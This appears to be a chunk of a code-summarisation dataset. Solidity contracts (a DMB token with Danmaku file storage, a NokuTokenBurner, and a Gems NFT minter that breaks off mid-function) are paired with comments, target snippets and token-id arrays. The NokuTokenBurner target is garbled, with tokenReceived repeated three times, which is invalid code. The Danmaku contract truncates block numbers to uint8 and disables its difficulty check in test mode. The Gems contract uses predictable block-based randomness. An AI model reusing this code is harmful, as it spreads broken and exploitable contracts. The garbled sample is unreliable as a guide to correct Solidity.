event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Coinbase(address indexed _to, uint256 _value);
event Burn(address indexed _from, uint256 _value);
}
contract ERC20Token is EIP20Interface {
uint256 constant MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
mapping(address => bool) isAdmin;
mapping(address => bool) isFrozen;
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
// 1 ether about 1024 DMB.
function deposit() public payable {
coinbase(msg.sender, msg.value * 1000 / 1000000000);
}
function withdraw(uint amount) public payable{
burn(msg.sender, amount);
msg.sender.transfer(amount / 1000 * 1000000000);
}
function coinbase(address _to, uint256 _value) internal returns(bool success){
require(balances[0x00] >= _value);
balances[0x00] -= _value;
balances[_to] += _value;
emit Coinbase(_to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function burn(address _from, uint256 _value) internal returns(bool success){
require(balances[_from] >= _value);
balances[_from] -= _value;
balances[0x00] += _value;
emit Burn(_from, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function() public payable{}
}
contract OpenDanmakuDemo is ERC20Token {
bool IS_TEST_MODE = true;
struct DanmakuFile {
bytes32 prevHash;
bytes32 addrHash;
uint32 thisBlock;
uint8 strLen;
uint16 updateDanmaku;
bytes fileAddr;
}
struct DiffInfo {
uint256 lastCheckBlock;
uint256 totalRequest;
uint256 currentDiff;
}
mapping(bytes20 => DanmakuFile) DanmakuPool;
mapping(bytes20 => DiffInfo) DiffOf;
mapping(address => bool) Registed;
mapping(address => uint256) lastUpdateBlock;
uint256 storageDiff; // Require (sha256(IpfsAddress, nonce) < Diff).
uint256 registDiff; // Require (msg.sender xor cid[:160(bit)] < Diff).
uint256 constant STANDARD_DIFF = 1 << 240;
event Store(bytes20 indexed _cid, bytes FileAddr, bytes32 _hash);
event Report(bytes20 indexed _cid, bytes32 _hash);
constructor( string _name, string _symbol ) public {
totalSupply = (1<<32) * 1000000000; // Update total supply
balances[0x00] = totalSupply; // Give the creator all initial tokens
name = _name; // Set the name for display purposes
decimals = 9; // Amount of decimals for display purposes
symbol = _symbol;
isAdmin[msg.sender]=true;
registDiff = (1 << 256) - 1; // Maximum of this value is 2 ^ 160 - 1.// Set the symbol for display purposes
}
function userRegister(bytes20 cid, bytes32 nonce) public {
require(uint256(sha256(abi.encodePacked(msg.sender, cid, nonce))) < registDiff, "Unavailable nonce!");
Registed[msg.sender] = true;
}
function userReport(bytes20 _cid, bytes32 _hash) public{
emit Report(_cid, _hash);
}
//might be on ipfs, bittorrent swarm or even on a transaction.
function storeDanmakuFile(bytes20 cid, uint8 strLen, uint16 updateDanmaku, bytes32 parentHash, bytes FileAddr, bytes12 nonce) public{
require(Registed[msg.sender], "Please regist first! debug");
require(uint256(sha256(abi.encodePacked( parentHash, nonce ))) < getStorageDiff(cid), "Uncorrect nonce!");
bytes32 _hash = sha256(abi.encodePacked(FileAddr));
emit Store(cid, FileAddr, _hash);
DanmakuFile memory tmpFile = DanmakuPool[cid];
if(uint32(block.number) == tmpFile.thisBlock){
require(parentHash == tmpFile.prevHash, "Wrong parent!");
require(updateDanmaku > tmpFile.updateDanmaku, "Unable to rewrite danmaku file on this block!");
tmpFile.strLen = strLen;
tmpFile.updateDanmaku = updateDanmaku;
tmpFile.fileAddr = FileAddr;
DanmakuPool[cid] = tmpFile;
} else {
require(parentHash == tmpFile.addrHash, "Wrong parent!");
tmpFile.prevHash = parentHash;
tmpFile.thisBlock = uint8(block.number);
tmpFile.strLen = strLen;
tmpFile.updateDanmaku = updateDanmaku;
tmpFile.fileAddr = FileAddr;
DanmakuPool[cid] = tmpFile;
}
coinbase(msg.sender, balances[0x00]>>36);
}
function getDanmakuFile(bytes20 cid) public view returns(uint8, uint16, bytes, bytes32){
DanmakuFile memory tmpFile = DanmakuPool[cid];
return (tmpFile.strLen, tmpFile.updateDanmaku, tmpFile.fileAddr, tmpFile.prevHash);
}
function getStorageDiff(bytes20 cid) public returns(uint256){
if(IS_TEST_MODE){
return MAX_UINT256;
} else {
DiffInfo memory tmp = DiffOf[cid];
DiffOf[cid].totalRequest += 1;
if(tmp.lastCheckBlock>>8 == block.number>>8){
return tmp.currentDiff;
} else {
DiffOf[cid].lastCheckBlock = block.number;
DiffOf[cid].currentDiff = STANDARD_DIFF / (DiffOf[cid].totalRequest+1);
DiffOf[cid].totalRequest = 0;
return DiffOf[cid].currentDiff;
}
}
}
function() public payable{}
}
|
Maximum of this value is 2 ^ 160 - 1. Set the symbol for display purposes
|
registDiff = (1 << 256) - 1;
| 15,853,661 |
[
1,
13528,
434,
333,
460,
353,
576,
3602,
25430,
300,
404,
18,
1000,
326,
3273,
364,
2562,
13694,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
960,
376,
5938,
273,
261,
21,
2296,
8303,
13,
300,
404,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.23;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/NokuTokenBurner.sol
contract BurnableERC20 is ERC20 {
function burn(uint256 amount) public returns (bool burned);
}
/**
* @dev The NokuTokenBurner contract has the responsibility to burn the configured fraction of received
* ERC20-compliant tokens and distribute the remainder to the configured wallet.
*/
contract NokuTokenBurner is Pausable {
using SafeMath for uint256;
event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet);
event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage);
// The wallet receiving the unburnt tokens.
address public wallet;
// The percentage of tokens to burn after being received (range [0, 100])
uint256 public burningPercentage;
// The cumulative amount of burnt tokens.
uint256 public burnedTokens;
// The cumulative amount of tokens transferred back to the wallet.
uint256 public transferredTokens;
/**
* @dev Create a new NokuTokenBurner with predefined burning fraction.
* @param _wallet The wallet receiving the unburnt tokens.
*/
constructor(address _wallet) public {
require(_wallet != address(0), "_wallet is zero");
wallet = _wallet;
burningPercentage = 100;
emit LogNokuTokenBurnerCreated(msg.sender, _wallet);
}
/**
* @dev Change the percentage of tokens to burn after being received.
* @param _burningPercentage The percentage of tokens to be burnt.
*/
function setBurningPercentage(uint256 _burningPercentage) public onlyOwner {
require(0 <= _burningPercentage && _burningPercentage <= 100, "_burningPercentage not in [0, 100]");
require(_burningPercentage != burningPercentage, "_burningPercentage equal to current one");
burningPercentage = _burningPercentage;
emit LogBurningPercentageChanged(msg.sender, _burningPercentage);
}
/**
* @dev Called after burnable tokens has been transferred for burning.
* @param _token THe extended ERC20 interface supported by the sent tokens.
* @param _amount The amount of burnable tokens just arrived ready for burning.
*/
function tokenReceived(address _token, uint256 _amount) public whenNotPaused {
require(_token != address(0), "_token is zero");
require(_amount > 0, "_amount is zero");
uint256 amountToBurn = _amount.mul(burningPercentage).div(100);
if (amountToBurn > 0) {
assert(BurnableERC20(_token).burn(amountToBurn));
burnedTokens = burnedTokens.add(amountToBurn);
}
uint256 amountToTransfer = _amount.sub(amountToBurn);
if (amountToTransfer > 0) {
assert(BurnableERC20(_token).transfer(wallet, amountToTransfer));
transferredTokens = transferredTokens.add(amountToTransfer);
}
}
}
|
* @dev The NokuTokenBurner contract has the responsibility to burn the configured fraction of received ERC20-compliant tokens and distribute the remainder to the configured wallet./ The wallet receiving the unburnt tokens. The percentage of tokens to burn after being received (range [0, 100]) The cumulative amount of burnt tokens. The cumulative amount of tokens transferred back to the wallet.
|
contract NokuTokenBurner is Pausable {
using SafeMath for uint256;
event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet);
event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage);
address public wallet;
uint256 public burningPercentage;
uint256 public burnedTokens;
uint256 public transferredTokens;
constructor(address _wallet) public {
require(_wallet != address(0), "_wallet is zero");
wallet = _wallet;
burningPercentage = 100;
emit LogNokuTokenBurnerCreated(msg.sender, _wallet);
}
function setBurningPercentage(uint256 _burningPercentage) public onlyOwner {
require(0 <= _burningPercentage && _burningPercentage <= 100, "_burningPercentage not in [0, 100]");
require(_burningPercentage != burningPercentage, "_burningPercentage equal to current one");
burningPercentage = _burningPercentage;
emit LogBurningPercentageChanged(msg.sender, _burningPercentage);
}
function tokenReceived(address _token, uint256 _amount) public whenNotPaused {
require(_token != address(0), "_token is zero");
require(_amount > 0, "_amount is zero");
uint256 amountToBurn = _amount.mul(burningPercentage).div(100);
if (amountToBurn > 0) {
assert(BurnableERC20(_token).burn(amountToBurn));
burnedTokens = burnedTokens.add(amountToBurn);
}
uint256 amountToTransfer = _amount.sub(amountToBurn);
if (amountToTransfer > 0) {
assert(BurnableERC20(_token).transfer(wallet, amountToTransfer));
transferredTokens = transferredTokens.add(amountToTransfer);
}
}
function tokenReceived(address _token, uint256 _amount) public whenNotPaused {
require(_token != address(0), "_token is zero");
require(_amount > 0, "_amount is zero");
uint256 amountToBurn = _amount.mul(burningPercentage).div(100);
if (amountToBurn > 0) {
assert(BurnableERC20(_token).burn(amountToBurn));
burnedTokens = burnedTokens.add(amountToBurn);
}
uint256 amountToTransfer = _amount.sub(amountToBurn);
if (amountToTransfer > 0) {
assert(BurnableERC20(_token).transfer(wallet, amountToTransfer));
transferredTokens = transferredTokens.add(amountToTransfer);
}
}
function tokenReceived(address _token, uint256 _amount) public whenNotPaused {
require(_token != address(0), "_token is zero");
require(_amount > 0, "_amount is zero");
uint256 amountToBurn = _amount.mul(burningPercentage).div(100);
if (amountToBurn > 0) {
assert(BurnableERC20(_token).burn(amountToBurn));
burnedTokens = burnedTokens.add(amountToBurn);
}
uint256 amountToTransfer = _amount.sub(amountToBurn);
if (amountToTransfer > 0) {
assert(BurnableERC20(_token).transfer(wallet, amountToTransfer));
transferredTokens = transferredTokens.add(amountToTransfer);
}
}
}
| 1,550,892 |
[
1,
1986,
423,
20924,
1345,
38,
321,
264,
6835,
711,
326,
29353,
358,
18305,
326,
4351,
8330,
434,
5079,
4232,
39,
3462,
17,
832,
18515,
2430,
471,
25722,
326,
10022,
358,
326,
4351,
9230,
18,
19,
1021,
9230,
15847,
326,
640,
70,
321,
88,
2430,
18,
1021,
11622,
434,
2430,
358,
18305,
1839,
3832,
5079,
261,
3676,
306,
20,
16,
2130,
5717,
1021,
15582,
3844,
434,
18305,
88,
2430,
18,
1021,
15582,
3844,
434,
2430,
906,
4193,
1473,
358,
326,
9230,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
423,
20924,
1345,
38,
321,
264,
353,
21800,
16665,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
871,
1827,
50,
20924,
1345,
38,
321,
264,
6119,
12,
2867,
8808,
4894,
16,
1758,
8808,
9230,
1769,
203,
565,
871,
1827,
38,
321,
310,
16397,
5033,
12,
2867,
8808,
4894,
16,
2254,
5034,
8808,
18305,
310,
16397,
1769,
203,
203,
565,
1758,
1071,
9230,
31,
203,
203,
565,
2254,
5034,
1071,
18305,
310,
16397,
31,
203,
203,
565,
2254,
5034,
1071,
18305,
329,
5157,
31,
203,
203,
565,
2254,
5034,
1071,
906,
4193,
5157,
31,
203,
203,
565,
3885,
12,
2867,
389,
19177,
13,
1071,
288,
203,
3639,
2583,
24899,
19177,
480,
1758,
12,
20,
3631,
4192,
19177,
353,
3634,
8863,
203,
540,
203,
3639,
9230,
273,
389,
19177,
31,
203,
3639,
18305,
310,
16397,
273,
2130,
31,
203,
203,
3639,
3626,
1827,
50,
20924,
1345,
38,
321,
264,
6119,
12,
3576,
18,
15330,
16,
389,
19177,
1769,
203,
565,
289,
203,
203,
565,
445,
15268,
321,
310,
16397,
12,
11890,
5034,
389,
70,
321,
310,
16397,
13,
1071,
1338,
5541,
288,
203,
3639,
2583,
12,
20,
1648,
389,
70,
321,
310,
16397,
597,
389,
70,
321,
310,
16397,
1648,
2130,
16,
4192,
70,
321,
310,
16397,
486,
316,
306,
20,
16,
2130,
4279,
1769,
203,
3639,
2583,
24899,
70,
321,
310,
16397,
480,
18305,
310,
16397,
16,
4192,
70,
321,
310,
16397,
3959,
358,
783,
1245,
8863,
203,
540,
203,
3639,
18305,
310,
16397,
273,
389,
70,
321,
310,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IBallerBars.sol";
// FIXME: link to ChainsLibrary.sol since functions are the same
import "./GemsLibrary.sol";
contract Gems is ERC721Enumerable, Ownable {
using GemsLibrary for uint8;
using ECDSA for bytes32;
struct Trait {
string traitName;
string traitType;
string pixels;
uint256 pixelCount;
}
bool public saleLive;
//Mappings
mapping(uint256 => Trait[]) public traitTypes;
mapping(string => bool) hashToMinted;
mapping(uint256 => string) internal tokenIdToHash;
//uint256s
uint256 MAX_SUPPLY = 5000;
uint256 SEED_NONCE = 0;
//string arrays
string[] LETTERS = [
"a",
"b",
"c",
"d",
"e",
"f",
"g",
"h",
"i",
"j",
"k",
"l",
"m",
"n",
"o",
"p",
"q",
"r",
"s",
"t",
"u",
"v",
"w",
"x",
"y",
"z"
];
//uint arrays
uint16[][8] TIERS;
//address
address ballerbarsAddress;
address _owner;
constructor() ERC721("Gems", "GEMS") {
_owner = msg.sender;
TIERS[0] = [50, 100, 400, 750, 1100, 1250, 1350, 1500, 1700, 1800]; // Gem Holder
TIERS[1] = [50, 100, 200, 800, 1100, 1200, 1300, 1450, 1650, 2150]; // Gem
}
/**
* @dev Converts a digit from 0 - 10000 into its corresponding rarity based on the given rarity tier.
* @param _randinput The input from 0 - 10000 to use for rarity gen.
* @param _rarityTier The tier to use.
*/
function rarityGen(uint256 _randinput, uint8 _rarityTier)
internal
view
returns (string memory)
{
uint16 currentLowerBound = 0;
for (uint8 i = 0; i < TIERS[_rarityTier].length; i++) {
uint16 thisPercentage = TIERS[_rarityTier][i];
if (
_randinput >= currentLowerBound &&
_randinput < currentLowerBound + thisPercentage
) return i.toString();
currentLowerBound = currentLowerBound + thisPercentage;
}
revert();
}
/**
* @dev Generates a 7 digit hash from a tokenId, address, and random number.
* @param _t The token id to be used within the hash.
* @param _a The address to be used within the hash.
* @param _c The custom nonce to be used within the hash.
*/
function hash(
uint256 _t,
address _a,
uint256 _c
) internal returns (string memory) {
require(_c < 10);
// This will generate a 7 character string.
// The last 6 digits are random, the first is 0, due to the chain is not being burned.
string memory currentHash = "";
for (uint8 i = 0; i < 2; i++) {
SEED_NONCE++;
uint16 _randinput = uint16(
uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.difficulty,
_t,
_a,
_c,
SEED_NONCE
)
)
) % 10000
);
currentHash = string(
abi.encodePacked(currentHash, rarityGen(_randinput, i))
);
}
return currentHash;
}
/**
* @dev Returns the current ballerbars cost of mint.
*/
function currentBallerBarsCost() public pure returns (uint256) {
return 10 ether;
}
function mintGem(uint256 tokenQuantity) external {
require(saleLive, "SALE_NOT_LIVE");
for (uint256 i = 0; i < tokenQuantity; i++) {
require(totalSupply() < MAX_SUPPLY, "OUT_OF_STOCK");
IBallerBars(ballerbarsAddress).burnFrom(msg.sender, currentBallerBarsCost());
mintInternal();
}
}
/**
* @dev Mint internal, this is to avoid code duplication.
*/
function mintInternal() internal {
uint256 _totalSupply = totalSupply();
require(_totalSupply < MAX_SUPPLY);
require(!GemsLibrary.isContract(msg.sender));
uint256 thisTokenId = _totalSupply;
tokenIdToHash[thisTokenId] = hash(thisTokenId, msg.sender, 0);
hashToMinted[tokenIdToHash[thisTokenId]] = true;
_mint(msg.sender, thisTokenId);
}
function mintReserve() onlyOwner external {
require(totalSupply() < 5);
return mintInternal();
}
/**
* @dev Helper function to reduce pixel size within contract
*/
function letterToNumber(string memory _inputLetter)
internal
view
returns (uint8)
{
for (uint8 i = 0; i < LETTERS.length; i++) {
if (
keccak256(abi.encodePacked((LETTERS[i]))) ==
keccak256(abi.encodePacked((_inputLetter)))
) return (i + 1);
}
revert();
}
/**
* @dev Hash to SVG function
*/
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
string memory svgString;
bool[24][24] memory placedPixels;
for (uint8 i = 0; i < 2; i++) {
uint8 thisTraitIndex = GemsLibrary.parseInt(
GemsLibrary.substring(_hash, i, i + 1)
);
for (
uint16 j = 0;
j < traitTypes[i][thisTraitIndex].pixelCount; // <
j++
) {
string memory thisPixel = GemsLibrary.substring(
traitTypes[i][thisTraitIndex].pixels,
j * 4,
j * 4 + 4
);
uint8 x = letterToNumber(
GemsLibrary.substring(thisPixel, 0, 1)
);
uint8 y = letterToNumber(
GemsLibrary.substring(thisPixel, 1, 2)
);
if (placedPixels[x][y]) continue;
svgString = string(
abi.encodePacked(
svgString,
"<rect class='c",
GemsLibrary.substring(thisPixel, 2, 4),
"' x='",
x.toString(),
"' y='",
y.toString(),
"'/>"
)
);
placedPixels[x][y] = true;
}
}
svgString = string(
abi.encodePacked(
'<svg id="c" xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 26 26" > ',
svgString,
"<style>rect{width:1px;height:1px;}#c{shape-rendering: crispedges;}.rect{width:1px;height:1px;}.c00{fill:#222bff}.c01{fill:#8c9dff}.c02{fill:#585eff}.c03{fill:#8293ff}.c04{fill:#5157ff}.c05{fill:#4249ff}.c06{fill:#333aff}.c07{fill:#ff9f34}.c08{fill:#f78e0a}.c09{fill:#ef8500}.c10{fill:#e57f00}.c11{fill:#ff8800}.c12{fill:#ffd051}.c13{fill:#ffc606}.c14{fill:#ffe445}.c15{fill:#ffb100}.c16{fill:#ffa000}.c17{fill:#e3d9e1}.c18{fill:#ddd3db}.c19{fill:#dad0d8}.c20{fill:#d8ced6}.c21{fill:#dcc000}.c22{fill:#fade11}.c23{fill:#f6d900}.c24{fill:#fde766}.c25{fill:#e6c900}.c26{fill:#e1c500}.c27{fill:#5f73df}.c28{fill:#4b5fd2}.c29{fill:#4055ca}.c30{fill:#3c51c1}.c31{fill:#b525fc}.c32{fill:#bf49fa}.c33{fill:#c159f6}.c34{fill:#bb3afc}.c35{fill:#bf4ef7}.c36{fill:#ffba2a}.c37{fill:#f4ab00}.c38{fill:#eca200}.c39{fill:#e19b00}.c40{fill:#eed100}.c41{fill:#ff132f}.c42{fill:#ff4b54}.c43{fill:#ff5d64}.c44{fill:#ff3644}.c45{fill:#ff5059}.c46{fill:#b0d2f5}.c47{fill:#bdddff}.c48{fill:#b9d9fd}.c49{fill:#eaf4ff}.c50{fill:#b0d2f9}.c51{fill:#b3d2f6}.c52{fill:#f7d0c3}.c53{fill:#f0c1b1}.c54{fill:#e3aa96}.c55{fill:#ebb7a5}.c56{fill:#d79881}.c57{fill:#cacaca}.c58{fill:#aaaaaa}.c59{fill:#969696}.c60{fill:#808080}.c61{fill:#b8bfc1}.c62{fill:#d2d2d2}.c63{fill:#cfcfcf}.c64{fill:#d8e9e9}.c65{fill:#e0eff0}.c66{fill:#c0dadc}.c67{fill:#c6c6c6}.c68{fill:#cbcbcb}.c69{fill:#9a9fbf}.c70{fill:#8b91b2}.c71{fill:#8187a9}.c72{fill:#7d82a3}.c73{fill:#1e1e1e}.c74{fill:#434343}.c75{fill:#363636}.c76{fill:#606060}.c77{fill:#242424}.c78{fill:#acacac}.c79{fill:#9d9d9d}.c80{fill:#949494}.c81{fill:#8f8f8f}.c82{fill:#d7d9e5}.c83{fill:#d0d2df}.c84{fill:#cdcfdc}.c85{fill:#cbcdda}.c86{fill:#00b349}.c87{fill:#2fd06d}.c88{fill:#09cc61}.c89{fill:#70da90}.c90{fill:#00bb4d}.c91{fill:#00b74f}.c92{fill:#00b4f5}.c93{fill:#78cdf7}.c94{fill:#ade4ff}.c95{fill:#89d4f9}.c96{fill:#c1e8fd}.c97{fill:#5dc3f5}.c98{fill:#48bdf3}</style></svg>"
)
);
return svgString;
}
/**
* @dev Hash to metadata function
*/
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
string memory metadataString;
for (uint8 i = 0; i < 2; i++) {
uint8 thisTraitIndex = GemsLibrary.parseInt(
GemsLibrary.substring(_hash, i, i + 1)
);
metadataString = string(
abi.encodePacked(
metadataString,
'{"trait_type":"',
traitTypes[i][thisTraitIndex].traitType,
'","value":"',
traitTypes[i][thisTraitIndex].traitName,
'"}'
)
);
if (i != 1)
metadataString = string(abi.encodePacked(metadataString, ","));
}
return string(abi.encodePacked("[", metadataString, "]"));
}
/**
* @dev Returns the SVG and metadata for a token Id
* @param _tokenId The tokenId to return the SVG and metadata for.
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
require(_exists(_tokenId));
string memory tokenHash = _tokenIdToHash(_tokenId);
return
string(
abi.encodePacked(
